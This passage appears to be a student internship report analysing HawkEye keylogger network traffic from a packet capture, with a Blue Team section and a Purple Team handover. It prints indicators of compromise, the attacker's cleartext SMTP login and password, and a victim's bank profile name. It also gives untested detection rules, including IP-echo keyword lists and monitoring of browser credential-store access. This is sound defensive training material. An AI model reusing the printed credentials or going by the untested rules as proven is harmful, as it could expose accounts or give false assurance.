- The destination mail server is `23.229.162.69:587`, resolved via DNS for domain `macwinlogistics.in` (banner: `220-p3plcpnl0413.prod.phx3.secureserver.net ESMTP Exim 4.91`, GoDaddy hosting).
- An external draft mistakenly referenced `mail.gulfstreamins.com / 64.233.167.27`. Wireshark and Python packet analysis confirm **zero** packets in `stealer.pcap` match `gulfstream` or `64.233.167.27`.
- Earlier notes citing `mail.winlogistics.in` reflect shorthand; the actual DNS record queried is apex domain `macwinlogistics.in`.

2. **Encryption Status — 100% Unencrypted Cleartext Transport:**

- Although the mail server advertises `250-STARTTLS` in Frame 3178, the client never initiates `STARTTLS`.
- There are **zero TLS records** in the capture. No TLS handshake, certificates, or session keys exist.
- Authentication commands are transmitted in cleartext using standard RFC 4648 Base64 encoding (`sales.del@macwinlogistics.in` / `Sales@23`), which provides zero cryptographic security.
- Network Security Monitoring (NSM) sensors (Zeek, Suricata, Snort) can directly inspect and extract all message content, keystrokes, and victim credentials from port 587 traffic without TLS decryption capabilities.

---

4. Directly Observed Network Evidence vs. Forensic Interpretation vs. Unobservable Host State

To maintain analytical rigor, findings are categorized into three evidentiary tiers:

Category	1. Directly Observed Wire Telemetry	2. Reasonable Forensic Interpretation	3. Unobservable from PCAP Alone
Payload Ingress	HTTP GET for `tkraw_Protected99.exe` transferring 2,025,472 bytes (Frames 207–3155).	File was downloaded onto endpoint file system.	Process launch method (manual user double-click vs. automated spawn).
Reconnaissance	Query to `bot.whatismyipaddress.com` returning `173.66.146.112` (Frames 3159–3166).	External IP check performed to profile victim egress gateway.	Internal command/API execution (`ipconfig` vs. `InternetOpenURLA`).
Data Collection	Frame 3194 body containing keystrokes, system info, and bank profile (`oman.mcguire`).	Malware logged keys and harvested credentials from browser databases.	In-memory hooking mechanism (`SetWindowsHookEx`) or RAM buffer during inactivity.
Exfiltration	Cleartext Base64 SMTP transmission to `23.229.162.69:587` (`macwinlogistics.in`).	Adversary exfiltrating captured data over unencrypted email submission.	Local PID or thread context owning the outbound socket.
Periodic Cadence	7 repeating network bursts at ~604–606s intervals (Frames 3172–3982).	Automated timer-driven exfiltration routine.	Internal process state during gaps: sleep loop vs. timer callback vs. scheduled task.

> **Inter-Cycle Gap Network Inspection:**
> A packet filter across all silent intervals between exfiltration cycles (Frames 3255–3289, 3345–3376, 3432–3461, 3517–3576, 3630–3831, 3888–3909) confirms:
> 1. Exactly zero HawkEye C2 (port 587) packets occurred during gaps.
> 2. Traffic in these intervals was limited to internal Windows LAN broadcasts (SMB TCP 445, NetBIOS UDP 137, internal DNS UDP 53) and benign background traffic (Frames 3268–3289: Google Chrome update check over HTTPS to `update.googleapis.com` / `216.58.193.131:443`).
> 3. The PCAP alone establishes network quietness regarding C2, but cannot verify whether the malware process was sleeping, idle, or polling locally during these intervals.

---

5. Detection Engineering Specifications

5.1 Proposed Network Intrusion Detection Signatures (Suricata / Snort)

The Blue Team drafted the following proposed network detection signatures to flag similar infostealer activity at the enterprise perimeter:

```
# Proposed Rule 1: High-Priority Alert for Raw PE Download over HTTP
# Status: PROPOSED SPECIFICATION (Untested against live sensor engine)
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS ( \
    msg:"PROPOSED: Windows Executable (.exe) Download from Unclassified Web Host"; \
    flow:to_server,established; \
    content:"GET"; http_method; \
    content:".exe"; http_uri; nocase; \
    threshold: type limit, track by_src, count 1, seconds 300; \
    classtype:trojan-activity; sid:2026101; rev:1; \
)

# Proposed Rule 2: Critical Alert for Direct Workstation Egress on SMTP Port 587
# Status: PROPOSED SPECIFICATION (Untested against live sensor engine)
alert tcp $WORKSTATION_SUBNET any -> $EXTERNAL_NET 587 ( \
    msg:"PROPOSED: Unauthorized Outbound SMTP Port 587 Connection from User Subnet"; \
    flow:to_server,established; \
    content:"AUTH LOGIN"; nocase; \
    threshold: type limit, track by_src, count 1, seconds 60; \
    classtype:policy-violation; sid:2026102; rev:1; \
)
```

5.2 SIEM Correlation Logic (Elasticsearch / Lucene)

To eliminate alert fatigue and detect the full attack chain, the Blue Team specified a stateful correlation rule requiring 3 sequential indicators within a 15-minute sliding window:

```
# Sequence Rule: Staging Download + IP Reconnaissance + SMTP Egress
Window: 15 Minutes
Group By: host.name OR source.ip

Sequence:
  Step 1: event.category: "file" AND file.extension: "exe"
  Step 2: event.category: "dns" AND dns.question.name: "*whatismyip*"
  Step 3: event.category: "network" AND destination.port: 587 AND network.protocol: "smtp"
```

6. SOC Investigation Playbook & Incident Response Procedure

If similar activity is detected in a live environment, SOC analysts must execute the following structured response:

```
flowchart TD
    A["Alert: Egress SMTP on Port 587 or PE Download"] --> B["1. Triage & Verify Frame/Packet Details"]
    B --> C["2. Immediate Host Isolation (EDR Containment)"]
    C --> D["3. Firewall Egress Blocking (217.182.138.150, 23.229.162.69)"]
    D --> E["4. DNS Sinkholing (proforma-invoices.com)"]
    E --> F["5. Force Password Resets (Compromised User & Mail Accounts)"]
    F --> G["6. Endpoint Forensic Triage (Memory Dump & Disk Image)"]
    G --> H["7. Golden Image Rebuild & Post-Incident Review"]
```

1. **Host Isolation:** Issue immediate network quarantine for `10.4.10.132` via EDR to sever active exfiltration while keeping the management agent online.
2. **Perimeter Containment:** Add malicious external IPs (`217.182.138.150` , `23.229.162.69`) to perimeter firewall blocklists.
3. **DNS Sinkholing:** Redirect internal DNS lookups for `proforma-invoices.com` , `macwinlogistics.in` , and legacy alias `mail.winlogistics.in` to internal loopback (`127.0.0.1`) on `10.4.10.4` .
4. **Credential Revocation:** Force immediate password resets and session terminations for compromised mail account `sales.del@macwinlogistics.in` and impacted bank credentials (`oman.mcguire`).
5. **Host Remediation:** Collect memory dump and triage artifacts from `Beijing-5cd1-PC` , then re-image the host from a trusted golden image.

7. Supported MITRE ATT&CK Mapping (Blue Team Scope)

MITRE ATT&CK TTP	Description	Defensive Countermeasure & Mitigation	Evidentiary Basis
T1105	Ingress Tool Transfer	Web content filtering; inspect raw `.exe` downloads (M1031, M1021)	**Direct Network Evidence** (Frames 207–3155)
T1016	System Net Config Discovery	Egress traffic filtering on public IP echo services (M1037)	**Direct Network Evidence** (Frames 3159–3166)
T1071.003	Mail Protocols	Restrict outbound SMTP (ports 25, 587) exclusively to approved MTAs	**Direct Network Evidence** (Frames 3168–3207)
T1041	Exfiltration Over C2	Deep packet inspection on cleartext Base64 authentication (M1031)	**Direct Network Evidence** (Frame 3194)
T1029	Scheduled Transfer	Statistical beaconing detection (inter-arrival delta variance $< 5\%$)	**Direct Network Evidence** (7 cycles, 604–606s)
T1056.001	Keylogging	EDR behavioral blocking on Win32 API hooking (`SetWindowsHookEx`)	**Inferred from Payload** (Frame 3194 body)
T1555.003	Credentials from Web Browsers	Windows Credential Guard & DPAPI protection (M1043)	**Inferred from Payload** (Frame 3194 body)

8. Conclusion

The Blue Team analysis confirms that while the HawkEye keylogger succeeded in downloading a payload and exfiltrating data, it produced unmistakable network signatures at every stage.

Implementing firewall egress restrictions on port 587, deploying proposed network signatures on uncompressed PE downloads, and creating multi-event SIEM correlation rules significantly reduces defensive visibility gaps and provides practical detection opportunities across network and endpoint boundaries.

HawkEye — Purple Team Handover Report

Collaborative Attack Emulation, Defensive Gap Analysis & Detection Engineering Handover

Document Reference: ELEV-SOC-HAWKEYE-PURPLE-2026-001

Internship Module: Task 1 — HawkEye Tri-Team Analysis (Purple Team Perspective)

Student Intern: Aiswarya

Degree / Branch: Bachelor of Technology (B.Tech) in Artificial Intelligence & Data Science

Academic Institution: Jyothi Engineering College (Autonomous), Thrissur, Kerala

Affiliated University: APJ Abdul Kalam Technological University

Internship Provider: ElevanceSkills

Date of Execution: 2026-10-02 (Revised & Verified: 2026-10-31)

Classification: TLP:CLEAR / Educational Threat Analysis Portfolio

Status: Completed & Verified (Educational Threat Analysis Portfolio — Grounded in Empirical PCAP Telemetry)

> **PURPLE TEAM MANDATE & EVIDENTIARY TRANSPARENCY:**
> This report consolidates empirical findings from both offensive emulation (Red Team) and defensive monitoring (Blue Team) derived from the packet capture `stealer.pcap` (4,003 total packets).
> - **Directly Observed Wire Evidence:** Network-layer transactions (HTTP executable download, DNS resolutions, HTTP external IP queries, authenticated SMTP transmissions, and recurring timers) represent confirmed ground truth from packet analysis.
> - **Base64 Encoding vs. Encryption:** Authentication credentials and message payloads transmitted in SMTP streams utilize Base64 encoding (RFC 4648). Base64 is a reversible encoding scheme, **not cryptographic encryption**; authentication tokens and message bodies are transmitted in cleartext on the wire.
> - **Periodic Traffic vs. Host Scheduling:** While network telemetry reveals 7 periodic exfiltration cycles at ~10-minute intervals, the network data alone cannot establish the underlying host implementation mechanism (such as an application `Sleep()` loop, an event timer, or a Windows Scheduled Task).
> - **Inferred Host Activity (Corroborated by Payload):** Local endpoint execution, keylogging hooks, and browser credential theft are analytical inferences corroborated by the plain-text email payload transmitted across the wire, rather than directly observed through endpoint kernel telemetry.
> - **Proposed Rules Status:** Network detection signatures (Suricata/Snort) represent **proposed detection engineering drafts** modeled from observed indicators; they were not deployed or tested against a live IDS sensor engine.

1. Executive Summary

The Purple Team exercise for the HawkEye incident establishes a collaborative bridge between adversary tradecraft and defensive detection engineering. By analyzing the complete attack lifecycle observed in `stealer.pcap` (**4,003 packets**, duration: **1:03:41**), the Purple Team correlates offensive Tactics, Techniques, and Procedures (TTPs) with high-fidelity network and host detection opportunities.

The primary compromised workstation identified in the traffic was `10.4.10.132` (`Beijing-5cd1-PC`). The threat lifecycle proceeded across four sequential operational phases:

1. **Payload Ingress:** HTTP download of `tkraw_Protected99.exe` (MD5: `71826BA0...`) from `217.182.138.150:80` following DNS resolution of `proforma-invoices.com` (Frames 204–3155).
2. **Reconnaissance & Egress Verification:** DNS resolution of `bot.whatismyipaddress.com` (Frame 3159) returning public server IP `66.171.248.178` (Frame 3160), followed by an HTTP query (Frame 3164) returning the victim's true external public IP: `173.66.146.112` in Frame 3166.
3. **Covert Exfiltration Channel:** Submission of carved keylogger payloads over unencrypted SMTP to `23.229.162.69:587` (resolved from domain `macwinlogistics.in`, Exim 4.91 banner `p3plcpnl0413.prod.phx3.secureserver.net`) using cleartext Base64 authentication (Frames 3172–3207). Earlier student notes referenced `mail.winlogistics.in`; packet analysis confirms the queried apex domain is `macwinlogistics.in`.
4. **Recurring ~10-Minute Network Cadence:** Recurring exfiltration cycles observed across 7 iterations at approximately **604–606 second (~10 minute)** intervals on the wire, concluding with Cycle 7 in Frames 3910–3982 (active message transmission in Frames 3923–3958; capture ends at Packet 4,003). While network telemetry confirms regular outbound bursts, the internal host execution state during silent intervals cannot be established from the PCAP alone.

```
+-----------------------------------------------------------------------------------------+
|                            HAWKEYE PURPLE TEAM LIFECYCLE HANDOVER                       |
+-------------------+--------------------+--------------------+--------------------+----------------+
| RED TEAM TTPs     | MITRE ATT&CK       | DEFENSIVE GAPS     | BLUE TEAM DETECTION| MITRE D3FEND / |
| (Observed Attack) | (Technique ID)     | (Identified Blind) | (Engineered Logic) | REMEDIATION    |
+-------------------+--------------------+--------------------+--------------------+----------------+
| 1. HTTP Exe Down  | T1105 Ingress Tool | Unrestricted HTTP  | Zeek HTTP / Snort  | M1031 Network  |
|    from Staging   | Transfer           | Executable Egress  | PE Carving Rule    | Prevention     |
| 2. WhatIsMyIP     | T1016 System Net   | Unmonitored Public | DNS Threat Intel / | M1037 Traffic  |
|    Lookup         | Config Discovery   | IP Lookup Queries  | Sysmon Event 22    | Filter Egress  |
| 3. SMTP Auth on   | T1041 Exfiltration | Endpoints talking  | Alert Workstation  | M1037 Block    |
|    Port 587       | Over C2 Protocol   | Direct to Ext Mail | to Ext Mail Relays | Direct Egress  |
| 4. 10-Min Periodic| T1029 Scheduled    | No Jitter / Beacon | Statistical Inter- | D3-NBA Network |
|    Beaconing      | Transfer Cadence   | Detection in Place | Arrival Analysis   | Beacon Analys  |
+-------------------+--------------------+--------------------+--------------------+----------------+
```

2. PCAP Evidence Disambiguation: 66.171.248.178 vs. 173.66.146.112

A primary requirement of forensic integrity is clearly separating third-party cloud lookup infrastructure from the victim system's own external identity. The actual PCAP evidence provides irrefutable proof:

```
+-------------------------------------------------------------------------------------+
|                    PCAP PROOF: 66.171.248.178 vs. 173.66.146.112                    |
+------------------+------------------------------------------------------------------+
| IP Address       | Role, Network Protocol & Empirical PCAP Evidence                 |
+------------------+------------------------------------------------------------------+
| 66.171.248.178   | • Identity: External Web Server hosting bot.whatismyipaddress.com.|
|                  | • DNS Answer (Frame 3160): DNS A-record response for bot.whatismyipaddress.com|
|                  |   resolves to 66.171.248.178.                                    |
|                  | • HTTP Connection (Frame 3164): 10.4.10.132 connects to 66.171.248.178:80.|
|                  | • Finding: THIS IS AN EXTERNAL SERVICE. It is NOT the victim IP. |
+------------------+------------------------------------------------------------------+
| 173.66.146.112   | • Identity: The Victim Workstation's Public Egress NAT IP Address.|
|                  | • HTTP Payload (Frame 3166): 66.171.248.178 returns HTTP 200 OK with a|
|                  |   14-byte payload: "173.66.146.112".                             |
|                  | • SMTP Handshake (Frame 3178): Remote mail server 23.229.162.69 greets client |
|                  |   with: "250 Hello Beijing-5cd1-PC [173.66.146.112]".            |
|                  | • Malware Body (Frame 3194): HawkEye embeds "173.66.146.112" into the stolen |
|                  |   telemetry system information block.                            |
|                  | • Finding: THIS IS THE VICTIM'S EXTERNAL INTERNET IP.            |
+------------------+------------------------------------------------------------------+
```

3. Directly Observed Network Evidence vs. Forensic Interpretation vs. Unobservable Host State

To maintain analytical rigor, the Purple Team categorizes findings into three clear evidentiary tiers:

Category	1. Directly Observed on Wire (PCAP Truth)	2. Forensic Interpretation (Corroborated)	3. Unobservable from PCAP Alone
Payload Ingress	HTTP GET `/proforma/tkraw_Protected99.exe` transferring 2,025,472 bytes (Frames 207–3155).	Executable delivered to disk on host `10.4.10.132`.	User launch method (manual double-click vs. automated helper script).
System Discovery	DNS query and HTTP transaction to `bot.whatismyipaddress.com` returning `173.66.146.112`.	External IP lookup performed to tag exfiltrated telemetry with public IP.	Local execution of discovery commands (e.g., `ipconfig` or WinINet APIs).
Data Collection	Frame 3194 body containing keystrokes, OS info, and bank profile (`oman.mcguire`).	Stolen data harvested from local browser databases and input buffers.	In-memory Win32 API hooking (`SetWindowsHookEx`) or RAM buffer state during inactivity.
Exfiltration	SMTP session on port 587 to `23.229.162.69` authenticated via `sales.del@macwinlogistics.in` (cleartext Base64).	Cleartext unencrypted C2 data exfiltration channel over standard submission port.	Local process PID or thread owning the outbound network socket.
Periodic Cadence	7 repeating cycles at ~604–606s intervals (Frames 3172–3982; all <= Packet 4003).	Automated scheduling logic driving regular egress bursts.	Exact host process state during gaps: sleep loop vs. thread timer vs. scheduled task.
Initial Delivery	Inbound HTTP staging download (Frame 207).	Staging server (`217.182.138.150:80`) hosted payload for download.	Phishing lure / delivery email (not captured in PCAP; inferred from campaign norms).

> **Inter-Cycle Gap Network Telemetry Verification:**
> An exhaustive packet filter across all silent intervals between exfiltration cycles (Frames 3255–3289, 3345–3376, 3432–3461, 3517–3576, 3630–3831, 3888–3909) confirms:
> 1. Zero packets to port 587 or C2 IP `23.229.162.69` occurred during the ~10-minute gaps.
> 2. Network activity in these gaps consisted of internal LAN traffic (SMB TCP 445 keepalives, NetBIOS UDP 137, internal DNS UDP 53) and benign workstation traffic (Frames 3268–3289: Google Chrome update check over HTTPS to `update.googleapis.com` / `216.58.193.131:443`).
> 3. The PCAP establishes that network C2 was dormant between bursts, but the internal process state during these gaps cannot be proven from PCAP data alone.

3.1 Verified Seven-Cycle Exfiltration Timeline & Transport Security Audit

Every packet frame boundary across all seven exfiltration cycles was extracted directly from `stealer.pcap`:

Cycle #	DNS Public IP Discovery (`bot.whatismyip`)	HTTP IP Echo (`66.171.248.178:80`)	DNS Mail Host (`macwinlogistics.in`)	SMTP Active Message Range (`23.229.162.69:587`)	SMTP Full Session (incl. Teardown)	Actual Timestamp (UTC) / Elapsed (s)	Measured Delta from Prev. Cycle
1	Frames 3159–3160	Frames 3161–3169 (Req: 3164, Res: 3166)	Frames 3170–3171	**Frames 3172–3207** (36 pkts)	Frames 3172–3254 (40 pkts)	`2019-04-10 20:38:15 UTC` (`T + 68.78s`)	Baseline
2	Frames 3290–3291	Frames 3292–3300 (Req: 3295, Res: 3297)	Frames 3301–3302	**Frames 3303–3338** (36 pkts)	Frames 3303–3344 (40 pkts)	`2019-04-10 20:48:20 UTC` (`T + 673.21s`)	**+604.42 s** (10m 04s)
3	Frames 3377–3378	Frames 3379–3387 (Req: 3382, Res: 3384)	Frames 3388–3389	**Frames 3390–3425** (36 pkts)	Frames 3390–3431 (40 pkts)	`2019-04-10 20:58:24 UTC` (`T + 1277.47s`)	**+604.26 s** (10m 04s)
4	Frames 3462–3463	Frames 3464–3472 (Req: 3467, Res: 3469)	Frames 3473–3474	**Frames 3475–3510** (36 pkts)	Frames 3475–3516 (40 pkts)	`2019-04-10 21:08:30 UTC` (`T + 1883.23s`)	**+605.76 s** (10m 05s)
5	Frames 3577–3578	Frames 3579–3587 (Req: 3582, Res: 3584)	Frames 3588–3589	**Frames 3590–3625** (36 pkts)	Frames 3590–3629 (40 pkts)	`2019-04-10 21:18:34 UTC` (`T + 2487.36s`)	**+604.13 s** (10m 04s)
6	Frames 3832–3833	Frames 3834–3842 (Req: 3837, Res: 3839)	Frames 3843–3844	**Frames 3845–3880** (36 pkts)	Frames 3845–3887 (40 pkts)	`2019-04-10 21:28:38 UTC` (`T + 3091.53s`)	**+604.17 s** (10m 04s)
7	Frames 3910–3911	Frames 3912–3920 (Req: 3915, Res: 3917)	Frames 3921–3922	**Frames 3923–3958** (36 pkts)	Frames 3923–3982 (40 pkts)	`2019-04-10 21:38:42 UTC` (`T + 3695.66s`)	**+604.12 s** (10m 04s)

Protocol & Security Dissection:

1. **Server Identity Disambiguation:**

- Destination host: `23.229.162.69:587`, resolving exclusively from domain `macwinlogistics.in` (banner: `220-p3plcpnl0413.prod.phx3.secureserver.net ESMTP Exim 4.91`).
- Suffix/Subdomain note: Earlier informal writeups used shorthand `mail.winlogistics.in`; packet analysis proves the queried domain is strictly `macwinlogistics.in`.
- External reference `mail.gulfstreamins.com / 64.233.167.27` does not exist in `stealer.pcap` (0 matching packets across all 4,003 frames); it originated from an unrelated public malware report.

2. **Encryption Status — 100% Cleartext Session:**

- The mail server advertises `250-STARTTLS` in response to `EHLO` (Frame 3178).
- The malware client **never sends** `STARTTLS`.
- Zero TLS records exist on port 587 throughout the entire PCAP.
- Authentication tokens (`sales.del@macwinlogistics.in` / `Sales@23`) are encoded in RFC 4648 Base64, which is an encoding scheme, not encryption.
- The entire payload (MIME headers, subject, and captured credential data) is transmitted in cleartext and inspectable by any passive network sniffer or IDS.

---

4. Comprehensive MITRE ATT&CK & MITRE D3FEND Handover Matrix

The following matrix maps observed offensive techniques directly to defensive mitigations, detection logic, and verification tests, with explicit classification of evidentiary support:

Attack Phase	MITRE ATT&CK TTP	Observed Red Team Activity	Identified Blue Team Gap	Recommended Mitigation (MITRE Enterprise)	MITRE D3FEND Countermeasure	Detection Engineering Query / Logic	Evi Cla
Initial Staging	**T1105** (Ingress Tool Transfer)	HTTP GET request for `/proforma/tkraw_Protected99.exe` to `217.182.138.150:80` (Frames 207–3155).	Endpoints permitted to download raw PE executables directly over uninspected HTTP.	**M1031** (Network Intrusion Prevention) **M1021** (Restrict Web-Based Content)	**D3-FIP** (File Inspection) **D3-EAP** (Executable Allowlisting)	Proposed Snort / Suricata: `alert http $HOME_NET any -> $EXTERNAL_NET 80 (msg:"PROPOSED: SUSPICIOUS .exe Download over HTTP"; content:".exe"; nocase; sid:1000001;)`	**Dir Ne Evi**
Reconnaissance	**T1016** (System Network Configuration Discovery)	DNS query & HTTP lookup to `bot.whatismyipaddress.com` returning public IP `173.66.146.112`.	External IP lookup domains treated as standard web traffic; no alerting on programmatic access.	**M1037** (Filter Network Traffic) **M1030** (Network Segmentation)	**D3-DRA** (DNS Request Analysis)	Sigma / Elastic DSL: `dns.question.name: ("whatismyip" OR "ifconfig.me" OR "icanhazip") AND NOT user.name: "system"`	**Dir Ne Evi**
Data Collection	**T1056.001** (Keylogging / Input Capture)	HawkEye Keylogger Reborn v9 resident in memory harvesting keystrokes and credentials.	Absence of EDR behavior blocking for untrusted binaries accessing Win32 API hooks (`SetWindowsHookEx`).	**M1040** (Behavior Prevention on Endpoint) **M1049** (Antivirus/Antimalware)	**D3-PSA** (Process Spawn Analysis) **D3-POA** (Process Origin Analysis)	Sysmon Event ID 1 & 11: Detect process creation from user `Temp` or `AppData` spawning network sockets within 60 seconds.	**Inf (Pa Co**
Credential Access	**T1555.003** (Credentials from Web Browsers)	Automated harvesting of browser credentials (`oman.mcguire` Bank of America profile).	Unencrypted credential stores accessible by non-privileged user processes.	**M1027** (Password Policies) **M1043** (Credential Access Protection)	**D3-FAP** (File Access Pattern Analysis)	Sysmon Event ID 11: Monitor non-browser processes accessing `%AppData%\Local\Google\Chrome\User Data\Default\Login Data` .	**Inf (Pa Co**
Data Exfiltration	**T1041** (Exfiltration Over C2 Channel)	Outbound SMTP connection on port 587 with Base64 credentials submitting keylogger archives.	Workstations permitted direct outbound egress to external SMTP servers on port 587.	**M1037** (Filter Network Traffic — Block outbound ports 25, 465, 587 for endpoints)	**D3-OFA** (Outbound Flow Analysis)	Perimeter Firewall Egress Rule: `REJECT tcp from $WORKSTATION_SUBNET to any port [25, 465, 587]` (Permit only designated corporate MTA).	**Dir Ne Evi**
Periodic Cadence	**T1029** (Scheduled Transfer)	7 consecutive SMTP cycles repeating at exact 604–606s intervals (Frames 3172–3958).	SIEM lacked sliding-window inter-arrival time calculation for automated beacon detection.	**M1031** (Network Intrusion Prevention)	**D3-NBA** (Network Beaconing Analysis)	Statistical SIEM Aggregation: Flag internal hosts generating > 5 connections to same external IP with timestamp delta variance $< 5\%$.	**Dir Ne Evi**

5. Detection Engineering Handover Specifications

5.1 Proposed Suricata / Snort Signatures

The Blue Team drafted the following proposed network intrusion detection signatures to alert on HawkEye staging and egress:

```
# Proposed Rule 1: Detect HawkEye Staging Executable Download
# Status: PROPOSED SPECIFICATION (Untested against live sensor engine)
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS ( \
    msg:"PROPOSED: HawkEye Keylogger Executable Download (.exe)"; \
    flow:to_server,established; \
    content:"GET"; http_method; \
    content:".exe"; http_uri; nocase; \
    threshold: type limit, track by_src, count 1, seconds 300; \
    classtype:trojan-activity; sid:2026001; rev:1; \
)

# Proposed Rule 2: Detect Unauthorized Workstation Outbound SMTP Submission
# Status: PROPOSED SPECIFICATION (Untested against live sensor engine)
alert tcp $HOME_NET any -> $EXTERNAL_NET [25, 587] ( \
    msg:"PROPOSED: Unauthorized Egress SMTP Session from End-User Workstation"; \
    flow:to_server,established; \
    content:"AUTH LOGIN"; nocase; \
    threshold: type limit, track by_src, count 1, seconds 60; \
    reference:url,attack.mitre.org/techniques/T1041; \
    classtype:policy-violation; sid:2026002; rev:1; \
)
```

5.2 Multi-Event SIEM Correlation Query (Elasticsearch / Lucene)

To identify the complete intrusion sequence as a consolidated incident, the Blue Team specified a stateful SIEM correlation rule matching all three stages within a 15-minute sliding window:

```
# Sequence Correlation Definition (Window: 15 Minutes, Group By: host.name / source.ip)
Stage 1 (Download):
  event.category: "file" AND file.extension: "exe" AND url.path: *tkraw*
      FOLLOWED BY
Stage 2 (Reconnaissance):
  event.category: "dns" AND dns.question.name: "*whatismyipaddress.com"
      FOLLOWED BY
Stage 3 (Exfiltration):
  event.category: "network" AND destination.port: (25 OR 587) AND network.protocol: "smtp"
```

6. Host & Endpoint Telemetry Improvements (Sysmon & Windows Audit)

While the provided PCAP captures network wire telemetry, closing the visibility gap requires host-level sensor coverage:

1. **Sysmon Event ID 1 (Process Creation):** Ensure command-line logging (`CommandLine`) and parent process fields (`ParentImage` , `ParentCommandLine`) are active to catch process injection and staging execution.
2. **Sysmon Event ID 3 (Network Connection):** Correlate endpoint socket creation with destination port 587 to identify which local PID initiated the mail connection.
3. **Sysmon Event ID 11 (File Create):** Monitor for dropped binaries in user-writable paths:

- `C:\Users\*\AppData\Local\Temp\`
- `C:\Users\Public\`

4. **PowerShell Script Block Logging (Event ID 4104):** Enable system-wide transcription to detect Living-off-the-Land helper scripts.

7. Incident Response & Containment Playbook Handover

If similar TTPs are detected in enterprise telemetry, the SOC Tier 2 incident handling team must execute the following response actions:

1. **Network Containment:** Issue immediate EDR host isolation for `10.4.10.132` to terminate outbound SMTP channels while preserving memory telemetry.
2. **Perimeter Firewall Blocks:** Push permanent IP block rules for `217.182.138.150` (Download server) and `23.229.162.69` (C2 SMTP server).
3. **Domain Sinkholing:** Configure internal DNS sinkholes on `10.4.10.4` for `proforma-invoices.com` , `macwinlogistics.in` , and legacy alias `mail.winlogistics.in` .
4. **Credential Revocation:** Immediately reset passwords for compromised email identity `sales.del@macwinlogistics.in` and impacted bank profiles (`oman.mcguire`).
5. **Memory & Disk Forensics:** Acquire full physical RAM dump and triage image of `Beijing-5cd1-PC` before re-imaging from golden baseline.

8. Purple Team Collaborative Retrospective & Conclusion

The HawkEye exercise demonstrates the strategic necessity of Purple Teaming. By aligning Red Team offensive execution (`proforma-invoices.com` $\rightarrow$ IP lookup $\rightarrow$ periodic SMTP) with Blue Team sensor capabilities, defensive engineering moves from reactive perimeter alerting to proactive, multi-stage detection.

Implementing the recommended egress firewall rules, proposed network signatures, and Sysmon process correlation significantly reduces defensive visibility gaps and provides practical detection opportunities across network and endpoint boundaries.